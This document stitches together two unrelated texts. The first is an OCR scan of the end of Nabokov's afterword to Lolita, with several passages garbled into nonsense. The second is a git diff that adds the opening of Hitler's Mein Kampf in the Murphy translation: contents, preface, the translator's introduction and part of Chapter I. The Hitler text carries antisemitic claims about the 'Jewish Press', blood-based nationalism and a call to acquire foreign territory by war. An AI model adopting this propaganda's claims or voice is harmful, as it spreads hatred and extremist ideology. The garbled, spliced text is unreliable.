revolutionaries, and a woman f + +doctor; but I was not pleased with the tiring and destroyed j + +it sometime after moving to America in 1940. j + +Around 1949, in Ithaca, upstate New York, the throbbing, i +which had never quite ceased, began to plague me again. j +Combination joined inspiration with fresh zest and involved i +me in a new treatment of the theme, this time in English — the j +language of my first governess in St. Petersburg, circa 1905. a ; +Miss Rachel Home. The nymphet, now with a dash of Irish ! +blood, was really much the same lass, and the baric marrying- j +hcr-mother idea also subsisted; but otherwise the thing was j +new and had grown in secret the claws and wings of a novel. j. + +The book developed slowly, with many interruptions and ^ + +asides. It had taken me some forty years to invent Russia red i + +Western Europe, and now I was faced by the task, cf inventing , +America. The obtaining of such local ingredients a' w.-mid ] + +allow me to inject a modicum of average "reality” '’one rf the [ + +few words which mean nothing without quotes) into thrjusw j +of individual fancy, proved at fifty a much mere drr.ee t ■. +process than it had been in the Europe of my youth n’.m ; + +rcceptiveness and retention were at their r.utrm.-t:r ^ + +Other books intervened. Once or twice I was cn the p ut \ + +of burning the unfinished draft and had camru ms- • t*. - r it * t + +Dark as far as the shadow of the laming mcmrirtv t er. trr j + +innocent lawn, when I was stopped by the fhmrr.t t t.-e .> + +ghost of the destroyed book would haunt my Car fa: tar . +of my lift. j + + +Every summer my wife and I go butterfly bunting. The +specimens are deposited at scientific institutions, such as the +Museum of Comparative Zoology at Harvard or the Cornell +University collection. The locality labels pinned under these +butterflies will be' a boon to some twenty-first-century scholar +with a taste for recondite biography.- It was at such of our +headquarters as TeHuride, Colorado; Afton, Wyoming; Portal, +Arizona; and Ashland, Oregon, that Lolita was energetically +resumed in the evenings or on cloudy days. I finished copying +the thing out in longhand in the spring of 1954, and at once +began casting around for a publisher. + +At first, on the advice of a wary old friend, I was meek +enough to stipulate that the book be brought out anony- +mously. I doubt that I shall ever regret that soon afterwards, +realizing how likely a mask was to betray my own cause, I +decided to sign Lolita. The four American publishers, W, X, +Y, Z, who in turn were offered the typescript and had their +readers glance at it, were shocked by Lolita to a degree that +even my wary old friend FT. had not expected. + +While it is true that in ancient Europe, and well into the +eighteenth century (obvious examples come from France), +deliberate lewdness was not inconsistent with flashes of com- +edy, or vigorous satire, or even the verve of a fine poet in a +wanton mood, it is also true that in modem times the term +“pornography" connotes mediocrity, commercialism, and +certain strict rales of narration. Obscenity must be mated with +banality because every kind of aesthetic enjoyment has to be +entirely replaced by simple sexual stimulation which demands +the traditional word for direct action upon the patient. Old +rigid rales must be followed by the pomographer in order to +have his patient feel the same security of satisfaction as, for +example, fans of detective stories feel — stories where, if you +do not watch out, the real murderer may tum out to be, to +the fan’s disgust, artistic originality (who for instance would +want a detective story without a single dialogue in it? ) . Thus, +in pornographic novels, action has to be limited to the cop- +ulation of cliches. Style, structure, imagery should never dis- +tract the reader from his tepid lust. The novel must consist +of an alternation of sexual scenes. The passages in between +must be reduced to sutures of sense, logical bridges of the +simplest design, brief expositions and explanations, which the +reader wfll probably skip but must know they exist in order +not to feel cheated (a mentality stemming from the routine + +284 + + + +of "true" fairy tales in childhood). Moreover, the sexual +scenes in the booh must follow a crescendo line, with new +variations, new combinations, new sexes, and a steady increase +in the number of participants (in a Sade play they call the +gardener in), and therefore the end of the book must be +more replete with lewd lore than the first chapters. + +Certain techniques in the beginning of Lolita (Humbert’s +Journal, for example) misled some of my first readers into +assuming that this was going to be a lewd book. The}- ex- +pected the rising succession of erotic scenes; when these +stopped, the readers stopped, too, and felt bored and let down. +This, I suspect, is one of the reasons why not all the four +firms read the typescript to the end. Whether they found it +pornographic or not did not interest me. Their refusal to buy +the book wa s based not on my treatment of the theme but +on the theme itself, for there are at least three themes which +are utterly taboo as far as most American publishers arc con- +cerned. The two others are: a Negro-White marriage which +is a complete and glorious success resulting in lots of children +and grandchildren; and the total atheist who lives a happy +and useful life, and dies in his sleep at the age of 106. + +Some of the reactions were very amusing: one reader sug- +gested that his firm might consider publication if I turned +my Lolita into a twelve-ycar-old lad and had him seduced by +Humbert, a fanner, in a bam, amidst gaunt and arid sur- +roundings, all this set forth in short, strong, "realistic” sen- +tences (“He acts crazy. We all act crazy, I guess. I guess God +acts crazy.” Etc.). Although everybody should know that +I detest symbols and allegories (which is due partly to my old +feud with Freudian voodooism and partly to my loathing of +generalizations devised by literary mythisis and sociologist'!, +an otherwise intelligent reader who flipped through the first +part described Lolita as "Old Europe debauching yrr.r.g +America,” while another flipper saw in it ‘Tonne Amm." +debauching old Europe.” Publisher X. whore advisers retire +bored with Humbert that they never got beyond pare r c L +had the nalvetd to write me th3t Part Two was too lone. FnN +lishcr Y, on the other hand, regretted th- :e v.-ere no r r '*'d I +pic in the book. Publisher Z said if he panted Lc.rt.*, be e:rt. + +I would go to jail. _ . + +No writer in a free country should be exported pr + +about the exact demarcation between the seme.-:' r: ; : ■' +sensual; this is preposterous; I can only r.g.'.mre 1 't + + +emulate the accuracy of judgment of those who pose the +fair young mammals photographed in magazines where the +general neckline is just low enough to provoke a past master’s +chuckle and just high enough not to make a postmaster +frown. I presume there exist readers who find titillating the +display of mural words in those hopelessly banal and enormous +novels which are typed out by the thumbs of tense mediocrities +and called "powerful" and "stark" by the reviewing hack. +There are gentle souls who would pronounce Lolita meaning- +less because it does not teach them anything. I am neither a +reader nor a writer of didactic fiction, and, despite John Ray’s +assertion, Lolita has no moral in tow. For me a work of fiction +exists only insofar as it affords me what I shall bluntly call +aesthetic bliss, that is a sense of being somehow, somewhere, +connected with other states of being where art (curiosity, +tenderness, kindness, ecstasy) is the norm. There are not +many such books. All the rest is either topical trash or what +some call the Literature of Ideas, which very often is topical +trash coming in huge blocks of plaster that are carefully +transmitted from age to age until somebody comes along with +a hammer and takes a good crack at Balzac, at Gorki, at Mann. + +Another charge which some readers have made is that Lolita +is anti-American. This is something that pains me considerably +more than the idiotic accusation of immorality. Considerations +of depth and perspective (a suburban lawn, a mountain +meadow) led me to build a number of North American sets. +I needed a certain exhilarating milieu. Nothing is more ex- +hilarating than philistine vulgarity. But in regard to philistine +vulgarity there is no intrinsic difference between Palearctic +manners and Nearctic manners. Any proletarian from Chicago +can be as bourgeois (in the Flaubertian sense) as a duke. I +chose American motels instead of Swiss hotels or English inns +only because I am trying to be an American writer and claim +only the same rights that other American writers enjoy. On +the other hand, my creature Humbert is a foreigner and an +anarchist, and there are many things, besides nymphets, in +which I disagree with him. And all my Russian readers know +that my old worlds — Russian, British, German, French — are +just as fantastic and personal as my new one is. + +Lest the little statement I am making here seem an airing of +grudges, I must hasten to add that besides the lambs who read +tho typescript of Lolita or its Olympia Press edition in a spirit +of “Why did he have to write it?” or "Why should I read + +286 + + +about maniacs?” there have been a number of wise, sensitive, +and staunch people who understood my book much better +than l ean explain its mechanism here. + +Every serious writer, 1 dare say, is aware of this or that pub- +lished book of his as of a constant comforting presence. Its +pilot light is steadily burning somewhere in the basement and +a mere touch applied to one’s private thermostat instantly +results in a quiet little explosion of familiar warmth. This +presence, this glow of the book in an ever accessible remote- +ness is a most companionable feeling, and the better the book +has conformed to its prefigured contour and color the ampler +and smoother it glows. But even so, there are certain points, +byroads, favorite hollows that one evokes more eagerly and +enjoys more tenderly than the rest of one’s book. I have not +reread Lolita since I went through the proofs in the winter of +1954 but I find it to be a delightful presence now that it +quietly hangs about the house like a summer day which one +knows to be bright behind the haze. And when I thus think +of Lolita, I seem always to pick out for special delectation such +images as Mr. Taxovich, or that class list of Ramsdalc School, +or Charlotte saying "waterproof,” or Lolita in slow morion +advancing toward Humbert’s gifts, or the pictures decorating +the stylized garret of Gaston Godin, or the Kasbcam barber +{who cost me a month of work), or Lolita playing tennis, or +the hospital at Elphinstone, or p3lc, pregnant, beloved, ir- +retrievable Dolly Schiller dying in Gray Star (the capital town +of the book), or the tinkling sounds of the valley town com- +ing up the mountain trail (on which I caught the first known +female of Lycacidcs sublivens Nabokov). These arc the nerve* +of the novel. These arc the secret points, the subliminal co- +ordinates by means of which the book is plotted — although +I realize very clearly that these and other scenes will be slim- +med over or not noticed, or never even reached, by them +wbo begin reading the book under the impression tint it h +something on the lines of Memoirs of a Woman o' F.Va-wc +or Les Amours dc Milord Gropn't. That my novel dow con- +tain various allusions to the physiological urges of a +is quite true. But after all vve are not children, n-t +juvenile delinquents, not English public b-yr w.m riir: +a night of homosexual romp* have to endure the pm: w of +reading the Ancients in cxprug.rtrd veu'Yrr. + +It is childish to study .a work of fict.- n m ora,-: : - r".- -u- +formation about a conntrv or about a reck! cl"' f t -■ + + + +author. And yet one of my very few intimate friends, after +reading Lolita , was sincerely worried that I (I!) should be +living “among such depressing people” — when the. only dis- +comfort I really experienced was to live in my workshop +among discarded limbs and unfinished torsos. + +After Olympia Press, in Paris, published the book, an +American critic suggested that Lolita was the record of my +love affair with the romantic novel. The substitution “English +language” for “romantic novel” would make this elegant +formula more correct. But here I feel my voice rising to a +much too strident pitch. None of my American friends have +read my Russian books and thus every appraisal on the strength +of my English ones is bound to be out of focus. My private +tragedy, which cannot, and indeed should not, be anybody’s +concern, is that I had to abandon my natural, idiom, my un- +trammeled, rich, and infinitely docile Russian tongue for a +second-rate brand of English, devoid of any of those ap- +paratuses — the baffling mirror, the black velvet backdrop, +the implied associations and traditions — which the native il- +lusionist, frac-tails flying, can magically use to transcend the +heritage in his own way. + + +November 12, 1956 + + +THE END + +of a Crest Reprint by +Vladimir Nabokov + + +288 diff --git a/mein_kampf.txt b/mein_kampf.txt new file mode 100644 index 0000000..42b6cf7 --- /dev/null +++ b/mein_kampf.txt @@ -0,0 +1,26861 @@ +Title: Mein Kampf +Author: Adolf Hitler (1889-1945) + Translated into English by James Murphy (died 1946). + + + + + +INTRODUCTION + +VOLUME I: A RETROSPECT + +CHAPTER I IN THE HOME OF MY PARENTS +CHAPTER II YEARS OF STUDY AND SUFFERING IN VIENNA +CHAPTER III POLITICAL REFLECTIONS ARISING OUT OF MY SOJOURN IN VIENNA +CHAPTER IV MUNICH +CHAPTER V THE WORLD WAR +CHAPTER VI WAR PROPAGANDA +CHAPTER VII THE REVOLUTION +CHAPTER VIII THE BEGINNING OF MY POLITICAL ACTIVITIES +CHAPTER IX THE GERMAN LABOUR PARTY +CHAPTER X WHY THE SECOND REICH COLLAPSED +CHAPTER XI RACE AND PEOPLE +CHAPTER XII THE FIRST STAGE IN THE DEVELOPMENT OF THE GERMAN NATIONAL + SOCIALIST LABOUR PARTY + +VOLUME II: THE NATIONAL SOCIALIST MOVEMENT + +CHAPTER I WELTANSCHAUUNG AND PARTY +CHAPTER II THE STATE +CHAPTER III CITIZENS AND SUBJECTS OF THE STATE +CHAPTER IV PERSONALITY AND THE IDEAL OF THE PEOPLE'S STATE +CHAPTER V WELTANSCHAUUNG AND ORGANIZATION +CHAPTER VI THE FIRST PERIOD OF OUR STRUGGLE +CHAPTER VII THE CONFLICT WITH THE RED FORCES +CHAPTER VIII THE STRONG IS STRONGEST WHEN ALONE +CHAPTER IX FUNDAMENTAL IDEAS REGARDING THE NATURE AND ORGANIZATION OF + THE STORM TROOPS +CHAPTER X THE MASK OF FEDERALISM +CHAPTER XI PROPAGANDA AND ORGANIZATION +CHAPTER XII THE PROBLEM OF THE TRADE UNIONS +CHAPTER XIII THE GERMAN POST-WAR POLICY OF ALLIANCES +CHAPTER XIV GERMANY'S POLICY IN EASTERN EUROPE +CHAPTER XV THE RIGHT TO SELF-DEFENCE +EPILOGUE + + + + + +INTRODUCTION + + + +AUTHOR'S PREFACE + +On April 1st, 1924, I began to serve my sentence of detention in the +Fortress of Landsberg am Lech, following the verdict of the Munich +People's Court of that time. + +After years of uninterrupted labour it was now possible for the first +time to begin a work which many had asked for and which I myself felt +would be profitable for the Movement. So I decided to devote two volumes +to a description not only of the aims of our Movement but also of its +development. There is more to be learned from this than from any purely +doctrinaire treatise. + +This has also given me the opportunity of describing my own development +in so far as such a description is necessary to the understanding of the +first as well as the second volume and to destroy the legendary +fabrications which the Jewish Press have circulated about me. + +In this work I turn not to strangers but to those followers of the +Movement whose hearts belong to it and who wish to study it more +profoundly. I know that fewer people are won over by the written word +than by the spoken word and that every great movement on this earth owes +its growth to great speakers and not to great writers. + +Nevertheless, in order to produce more equality and uniformity in the +defence of any doctrine, its fundamental principles must be committed to +writing. May these two volumes therefore serve as the building stones +which I contribute to the joint work. + +The Fortress, Landsberg am Lech. + + + +At half-past twelve in the afternoon of November 9th, 1923, those whose +names are given below fell in front of the FELDHERRNHALLE and in the +forecourt of the former War Ministry in Munich for their loyal faith in +the resurrection of their people: + +Alfarth, Felix, Merchant, born July 5th, 1901 +Bauriedl, Andreas, Hatmaker, born May 4th, 1879 +Casella, Theodor, Bank Official, born August 8th, 1900 +Ehrlich, Wilhelm, Bank Official, born August 19th, 1894 +Faust, Martin, Bank Official, born January 27th, 1901 +Hechenberger, Anton, Locksmith, born September 28th, 1902 +Koerner, Oskar, Merchant, born January 4th, 1875 +Kuhn, Karl, Head Waiter, born July 25th, 1897 +Laforce, Karl, Student of Engineering, born October 28th, 1904 +Neubauer, Kurt, Waiter, born March 27th, 1899 +Pape, Claus von, Merchant, born August 16th, 1904 +Pfordten, Theodor von der, Councillor to the Superior Provincial Court, +born May 14th, 1873 +Rickmers, Johann, retired Cavalry Captain, born May 7th, 1881 +Scheubner-Richter, Max Erwin von, Dr. of Engineering, born January 9th, +1884 +Stransky, Lorenz Ritter von, Engineer, born March 14th, 1899 +Wolf, Wilhelm, Merchant, born October 19th, 1898 + +So-called national officials refused to allow the dead heroes a common +burial. So I dedicate the first volume of this work to them as a common +memorial, that the memory of those martyrs may be a permanent source of +light for the followers of our Movement. + +The Fortress, Landsberg a/L., + +October 16th, 1924 + + + +TRANSLATOR'S INTRODUCTION + +In placing before the reader this unabridged translation of Adolf +Hitler's book, MEIN KAMPF, I feel it my duty to call attention to +certain historical facts which must be borne in mind if the reader would +form a fair judgment of what is written in this extraordinary work. + +The first volume of MEIN KAMPF was written while the author was +imprisoned in a Bavarian fortress. How did he get there and why? The +answer to that question is important, because the book deals with the +events which brought the author into this plight and because he wrote +under the emotional stress caused by the historical happenings of the +time. It was the hour of Germany's deepest humiliation, somewhat +parallel to that of a little over a century before, when Napoleon had +dismembered the old German Empire and French soldiers occupied almost +the whole of Germany. + +In the beginning of 1923 the French invaded Germany, occupied the Ruhr +district and seized several German towns in the Rhineland. This was a +flagrant breach of international law and was protested against by every +section of British political opinion at that time. The Germans could not +effectively defend themselves, as they had been already disarmed under +the provisions of the Versailles Treaty. To make the situation more +fraught with disaster for Germany, and therefore more appalling in its +prospect, the French carried on an intensive propaganda for the +separation of the Rhineland from the German Republic and the +establishment of an independent Rhenania. Money was poured out lavishly +to bribe agitators to carry on this work, and some of the most insidious +elements of the German population became active in the pay of the +invader. At the same time a vigorous movement was being carried on in +Bavaria for the secession of that country and the establishment of an +independent Catholic monarchy there, under vassalage to France, as +Napoleon had done when he made Maximilian the first King of Bavaria in +1805. + +The separatist movement in the Rhineland went so far that some leading +German politicians came out in favour of it, suggesting that if the +Rhineland were thus ceded it might be possible for the German Republic +to strike a bargain with the French in regard to Reparations. But in +Bavaria the movement went even farther. And it was more far-reaching in +its implications; for, if an independent Catholic monarchy could be set +up in Bavaria, the next move would have been a union with Catholic +German-Austria. possibly under a Habsburg King. Thus a Catholic BLOC +would have been created which would extend from the Rhineland through +Bavaria and Austria into the Danube Valley and would have been at least +under the moral and military, if not the full political, hegemony of +France. The dream seems fantastic now, but it was considered quite a +practical thing in those fantastic times. The effect of putting such a +plan into action would have meant the complete dismemberment of Germany; +and that is what French diplomacy aimed at. Of course such an aim no +longer exists. And I should not recall what must now seem "old, unhappy, +far-off things" to the modern generation, were it not that they were +very near and actual at the time MEIN KAMPF was written and were more +unhappy then than we can even imagine now. + +By the autumn of 1923 the separatist movement in Bavaria was on the +point of becoming an accomplished fact. General von Lossow, the Bavarian +chief of the REICHSWEHR no longer took orders from Berlin. The flag of +the German Republic was rarely to be seen, Finally, the Bavarian Prime +Minister decided to proclaim an independent Bavaria and its secession +from the German Republic. This was to have taken place on the eve of the +Fifth Anniversary of the establishment of the German Republic (November +9th, 1918.) + +Hitler staged a counter-stroke. For several days he had been mobilizing +his storm battalions in the neighbourhood of Munich, intending to make a +national demonstration and hoping that the REICHSWEHR would stand by him +to prevent secession. Ludendorff was with him. And he thought that the +prestige of the great German Commander in the World War would be +sufficient to win the allegiance of the professional army. + +A meeting had been announced to take place in the Bürgerbräu Keller on +the night of November 8th. The Bavarian patriotic societies were +gathered there, and the Prime Minister, Dr. von Kahr, started to read +his official PRONUNCIAMENTO, which practically amounted to a +proclamation of Bavarian independence and secession from the Republic. +While von Kahr was speaking Hitler entered the hall, followed by +Ludendorff. And the meeting was broken up. + +Next day the Nazi battalions took the street for the purpose of making a +mass demonstration in favour of national union. They marched in massed +formation, led by Hitler and Ludendorff. As they reached one of the +central squares of the city the army opened fire on them. Sixteen of the +marchers were instantly killed, and two died of their wounds in the +local barracks of the REICHSWEHR. Several others were wounded also. +Hitler fell on the pavement and broke a collar-bone. Ludendorff marched +straight up to the soldiers who were firing from the barricade, but not +a man dared draw a trigger on his old Commander. + +Hitler was arrested with several of his comrades and imprisoned in the +fortress of Landsberg on the River Lech. On February 26th, 1924, he was +brought to trial before the VOLKSGERICHT, or People's Court in Munich. +He was sentenced to detention in a fortress for five years. With several +companions, who had been also sentenced to various periods of +imprisonment, he returned to Landsberg am Lech and remained there until +the 20th of the following December, when he was released. In all he +spent about thirteen months in prison. It was during this period that he +wrote the first volume of MEIN KAMPF. + +If we bear all this in mind we can account for the emotional stress +under which MEIN KAMPF was written. Hitler was naturally incensed +against the Bavarian government authorities, against the footling +patriotic societies who were pawns in the French game, though often +unconsciously so, and of course against the French. That he should write +harshly of the French was only natural in the circumstances. At that +time there was no exaggeration whatsoever in calling France the +implacable and mortal enemy of Germany. Such language was being used by +even the pacifists themselves, not only in Germany but abroad. And even +though the second volume of MEIN KAMPF was written after Hitler's +release from prison and was published after the French had left the +Ruhr, the tramp of the invading armies still echoed in German ears, and +the terrible ravages that had been wrought in the industrial and +financial life of Germany, as a consequence of the French invasion, had +plunged the country into a state of social and economic chaos. In France +itself the franc fell to fifty per cent of its previous value. Indeed, +the whole of Europe had been brought to the brink of ruin, following the +French invasion of the Ruhr and Rhineland. + +But, as those things belong to the limbo of a dead past that nobody +wishes to have remembered now, it is often asked: Why doesn't Hitler +revise MEIN KAMPF? The answer, as I think, which would immediately come +into the mind of an impartial critic is that MEIN KAMPF is an historical +document which bears the imprint of its own time. To revise it would +involve taking it out of its historical context. Moreover Hitler has +declared that his acts and public statements constitute a partial +revision of his book and are to be taken as such. This refers especially +to the statements in MEIN KAMPF regarding France and those German +kinsfolk that have not yet been incorporated in the REICH. On behalf of +Germany he has definitely acknowledged the German portion of South Tyrol +as permanently belonging to Italy and, in regard to France, he has again +and again declared that no grounds now exist for a conflict of political +interests between Germany and France and that Germany has no territorial +claims against France. Finally, I may note here that Hitler has also +declared that, as he was only a political leader and not yet a statesman +in a position of official responsibility, when he wrote this book, what +he stated in MEIN KAMPF does not implicate him as Chancellor of the +REICH. + +I now come to some references in the text which are frequently recurring +and which may not always be clear to every reader. For instance, Hitler +speaks indiscriminately of the German REICH. Sometimes he means to refer +to the first REICH, or Empire, and sometimes to the German Empire as +founded under William I in 1871. Incidentally the regime which he +inaugurated in 1933 is generally known as the THIRD REICH, though this +expression is not used in MEIN KAMPF. Hitler also speaks of the Austrian +REICH and the East Mark, without always explicitly distinguishing +between the Habsburg Empire and Austria proper. If the reader will bear +the following historical outline in mind, he will understand the +references as they occur. + +The word REICH, which is a German form of the Latin word REGNUM, does +not mean Kingdom or Empire or Republic. It is a sort of basic word that +may apply to any form of Constitution. Perhaps our word, Realm, would be +the best translation, though the word Empire can be used when the REICH +was actually an Empire. The forerunner of the first German Empire was +the Holy Roman Empire which Charlemagne founded in A.D. 800. Charlemagne +was King of the Franks, a group of Germanic tribes that subsequently +became Romanized. In the tenth century Charlemagne's Empire passed into +German hands when Otto I (936-973) became Emperor. As the Holy Roman +Empire of the German Nation, its formal appellation, it continued to +exist under German Emperors until Napoleon overran and dismembered +Germany during the first decade of the last century. On August 6th, +1806, the last Emperor, Francis II, formally resigned the German crown. +In the following October Napoleon entered Berlin in triumph, after the +Battle of Jena. + +After the fall of Napoleon a movement set in for the reunion of the +German states in one Empire. But the first decisive step towards that +end was the foundation of the Second German Empire in 1871, after the +Franco-Prussian War. This Empire, however, did not include the German +lands which remained under the Habsburg Crown. These were known as +German Austria. It was Bismarck's dream to unite German Austria with the +German Empire; but it remained only a dream until Hitler turned it into +a reality in 1938'. It is well to bear that point in mind, because this +dream of reuniting all the German states in one REICH has been a +dominant feature of German patriotism and statesmanship for over a +century and has been one of Hitler's ideals since his childhood. + +In MEIN KAMPF Hitler often speaks of the East Mark. This East Mark--i.e. +eastern frontier land--was founded by Charlemagne as the eastern bulwark +of the Empire. It was inhabited principally by Germano-Celtic tribes +called Bajuvari and stood for centuries as the firm bulwark of Western +Christendom against invasion from the East, especially against the +Turks. Geographically it was almost identical with German Austria. + +There are a few points more that I wish to mention in this introductory +note. For instance, I have let the word WELTANSCHAUUNG stand in its +original form very often. We have no one English word to convey the same +meaning as the German word, and it would have burdened the text too much +if I were to use a circumlocution each time the word occurs. +WELTANSCHAUUNG literally means "Outlook-on-the World". But as generally +used in German this outlook on the world means a whole system of ideas +associated together in an organic unity--ideas of human life, human +values, cultural and religious ideas, politics, economics, etc., in fact +a totalitarian view of human existence. Thus Christianity could be +called a WELTANSCHAUUNG, and Mohammedanism could be called a +WELTANSCHAUUNG, and Socialism could be called a WELTANSCHAUUNG, +especially as preached in Russia. National Socialism claims definitely +to be a WELTANSCHAUUNG. + +Another word I have often left standing in the original is VÖLKISCH. The +basic word here is VOLK, which is sometimes translated as PEOPLE; but +the German word, VOLK, means the whole body of the PEOPLE without any +distinction of class or caste. It is a primary word also that suggests +what might be called the basic national stock. Now, after the defeat in +1918, the downfall of the Monarchy and the destruction of the +aristocracy and the upper classes, the concept of DAS VOLK came into +prominence as the unifying co-efficient which would embrace the whole +German people. Hence the large number of VÖLKISCH societies that arose +after the war and hence also the National Socialist concept of +unification which is expressed by the word VOLKSGEMEINSCHAFT, or folk +community. This is used in contradistinction to the Socialist concept of +the nation as being divided into classes. Hitler's ideal is the +VÖLKISCHER STAAT, which I have translated as the People's State. + +Finally, I would point out that the term Social Democracy may be +misleading in English, as it has not a democratic connotation in our +sense. It was the name given to the Socialist Party in Germany. And that +Party was purely Marxist; but it adopted the name Social Democrat in +order to appeal to the democratic sections of the German people. + +JAMES MURPHY. + +Abbots Langley, February, 1939 + + + + + +VOLUME I: A RETROSPECT + + + + +CHAPTER I + + + +IN THE HOME OF MY PARENTS + + +It has turned out fortunate for me to-day that destiny appointed +Braunau-on-the-Inn to be my birthplace. For that little town is situated +just on the frontier between those two States the reunion of which +seems, at least to us of the younger generation, a task to which we +should devote our lives and in the pursuit of which every possible means +should be employed. + +German-Austria must be restored to the great German Motherland. And not +indeed on any grounds of economic calculation whatsoever. No, no. Even +if the union were a matter of economic indifference, and even if it were +to be disadvantageous from the economic standpoint, still it ought to +take place. People of the same blood should be in the same REICH. The +German people will have no right to engage in a colonial policy until +they shall have brought all their children together in the one State. +When the territory of the REICH embraces all the Germans and finds +itself unable to assure them a livelihood, only then can the moral right +arise, from the need of the people to acquire foreign territory. The +plough is then the sword; and the tears of war will produce the daily +bread for the generations to come. + +And so this little frontier town appeared to me as the symbol of a great +task. But in another regard also it points to a lesson that is +applicable to our day. Over a hundred years ago this sequestered spot +was the scene of a tragic calamity which affected the whole German +nation and will be remembered for ever, at least in the annals of German +history. At the time of our Fatherland's deepest humiliation a +bookseller, Johannes Palm, uncompromising nationalist and enemy of the +French, was put to death here because he had the misfortune to have +loved Germany well. He obstinately refused to disclose the names of his +associates, or rather the principals who were chiefly responsible for +the affair. Just as it happened with Leo Schlageter. The former, like +the latter, was denounced to the French by a Government agent. It was a +director of police from Augsburg who won an ignoble renown on that +occasion and set the example which was to be copied at a later date by +the neo-German officials of the REICH under Herr Severing's +regime (Note 1). + +[Note 1. In order to understand the reference here, and similar +references in later portions of MEIN KAMPF, the following must be borne +in mind: + +From 1792 to 1814 the French Revolutionary Armies overran Germany. In +1800 Bavaria shared in the Austrian defeat at Hohenlinden and the French +occupied Munich. In 1805 the Bavarian Elector was made King of Bavaria by +Napoleon and stipulated to back up Napoleon in all his wars with a force +of 30,000 men. Thus Bavaria became the absolute vassal of the French. +This was 'TheTime of Germany's Deepest Humiliation', Which is referred +to again and again by Hitler. + +In 1806 a pamphlet entitled 'Germany's Deepest Humiliation' was +published in South Germany. Amnng those who helped to circulate the +pamphlet was the Nürnberg bookseller, Johannes Philipp Palm. He was +denounced to the French by a Bavarian police agent. At his trial he +refused to disclose thename of the author. By Napoleon's orders, he was +shot at Braunau-on-the-Innon August 26th, 1806. A monument erected to +him on the site of the executionwas one of the first public objects that +made an impression on Hitler asa little boy. + +Leo Schlageter's case was in many respects parallel to that of Johannes +Palm. Schlageter was a German theological student who volunteered for +service in 1914. He became an artillery officer and won the Iron Cross of +both classes. When the French occupied the Ruhr in 1923 Schlageter helped +to organize the passive resistance on the German side. He and his +companions blew up a railway bridge for the purpose of making the +transport of coal to France more difficult. + +Those who took part in the affair were denounced to the French by a +German informer. Schlageter took the whole responsibility on his own +shoulders and was condemned to death, his companions being sentenced to +various terms of imprisonment and penal servitude by the French Court. +Schlageter refused to disclose the identity of those who issued the order +to blow up the railway bridge and he would not plead for mercy before a +French Court. He was shot by a French firing-squad on May 26th, 1923. +Severing was at that time German Minister of the Interior. It is said +that representations were made, to himon Schlageter's behalf and that he +refused to interfere. + +Schlageter has become the chief martyr of the German resistancc to the +French occupation of the Ruhr and also one of the great heroes of the +National Socialist Movement. He had joined the Movement at a very early +stage, his card of membership bearing the number 61.] + +In this little town on the Inn, haloed by the memory of a German martyr, +a town that was Bavarian by blood but under the rule of the Austrian +State, my parents were domiciled towards the end of the last century. My +father was a civil servant who fulfilled his duties very +conscientiously. My mother looked after the household and lovingly +devoted herself to the care of her children. From that period I have not +retained very much in my memory; because after a few years my father had +to leave that frontier town which I had come to love so much and take up +a new post farther down the Inn valley, at Passau, therefore actually in +Germany itself. + +In those days it was the usual lot of an Austrian civil servant to be +transferred periodically from one post to another. Not long after coming +to Passau my father was transferred to Linz, and while there he retired +finally to live on his pension. But this did not mean that the old +gentleman would now rest from his labours. + +He was the son of a poor cottager, and while still a boy he grew +restless and left home. When he was barely thirteen years old he buckled +on his satchel and set forth from his native woodland parish. Despite +the dissuasion of villagers who could speak from 'experience,' he went +to Vienna to learn a trade there. This was in the fiftieth year of the +last century. It was a sore trial, that of deciding to leave home and +face the unknown, with three gulden in his pocket. By when the boy of +thirteen was a lad of seventeen and had passed his apprenticeship +examination as a craftsman he was not content. Quite the contrary. The +persistent economic depression of that period and the constant want and +misery strengthened his resolution to give up working at a trade and +strive for 'something higher.' As a boy it had seemed to him that the +position of the parish priest in his native village was the highest in +the scale of human attainment; but now that the big city had enlarged +his outlook the young man looked up to the dignity of a State official +as the highest of all. With the tenacity of one whom misery and trouble +had already made old when only half-way through his youth the young man +of seventeen obstinately set out on his new project and stuck to it +until he won through. He became a civil servant. He was about +twenty-three years old, I think, when he succeeded in making himself +what he had resolved to become. Thus he was able to fulfil the promise +he had made as a poor boy not to return to his native village until he +was 'somebody.' + +He had gained his end. But in the village there was nobody who had +remembered him as a little boy, and the village itself had become +strange to him. + +Now at last, when he was fifty-six years old, he gave up his active +career; but he could not bear to be idle for a single day. On the +outskirts of the small market town of Lambach in Upper Austria he bought +a farm and tilled it himself. Thus, at the end of a long and +hard-working career, he came back to the life which his father had led. + +It was at this period that I first began to have ideals of my own. I +spent a good deal of time scampering about in the open, on the long road +from school, and mixing up with some of the roughest of the boys, which +caused my mother many anxious moments. All this tended to make me +something quite the reverse of a stay-at-home. I gave scarcely any +serious thought to the question of choosing a vocation in life; but I +was certainly quite out of sympathy with the kind of career which my +father had followed. I think that an inborn talent for speaking now +began to develop and take shape during the more or less strenuous +arguments which I used to have with my comrades. I had become a juvenile +ringleader who learned well and easily at school but was rather +difficult to manage. In my freetime I practised singing in the choir of +the monastery church at Lambach, and thus it happened that I was placed +in a very favourable position to be emotionally impressed again and +again by the magnificent splendour of ecclesiastical ceremonial. What +could be more natural for me than to look upon the Abbot as representing +the highest human ideal worth striving for, just as the position of the +humble village priest had appeared to my father in his own boyhood days? +At least, that was my idea for a while. But the juvenile disputes I had +with my father did not lead him to appreciate his son's oratorical gifts +in such a way as to see in them a favourable promise for such a career, +and so he naturally could not understand the boyish ideas I had in my +head at that time. This contradiction in my character made him feel +somewhat anxious. + +As a matter of fact, that transitory yearning after such a vocation soon +gave way to hopes that were better suited to my temperament. Browsing +through my father's books, I chanced to come across some publications +that dealt with military subjects. One of these publications was a +popular history of the Franco-German War of 1870-71. It consisted of two +volumes of an illustrated periodical dating from those years. These +became my favourite reading. In a little while that great and heroic +conflict began to take first place in my mind. And from that time +onwards I became more and more enthusiastic about everything that was in +any way connected with war or military affairs. + +But this story of the Franco-German War had a special significance for +me on other grounds also. For the first time, and as yet only in quite a +vague way, the question began to present itself: Is there a +difference--and if there be, what is it--between the Germans who fought +that war and the other Germans? Why did not Austria also take part in +it? Why did not my father and all the others fight in that struggle? Are +we not the same as the other Germans? Do we not all belong together? + +That was the first time that this problem began to agitate my small +brain. And from the replies that were given to the questions which I +asked very tentatively, I was forced to accept the fact, though with a +secret envy, that not all Germans had the good luck to belong to +Bismarck's Empire. This was something that I could not understand. + +It was decided that I should study. Considering my character as a whole, +and especially my temperament, my father decided that the classical +subjects studied at the Lyceum were not suited to my natural talents. He +thought that the REALSCHULE (Note 2) would suit me better. My obvious +talent for drawing confirmed him in that 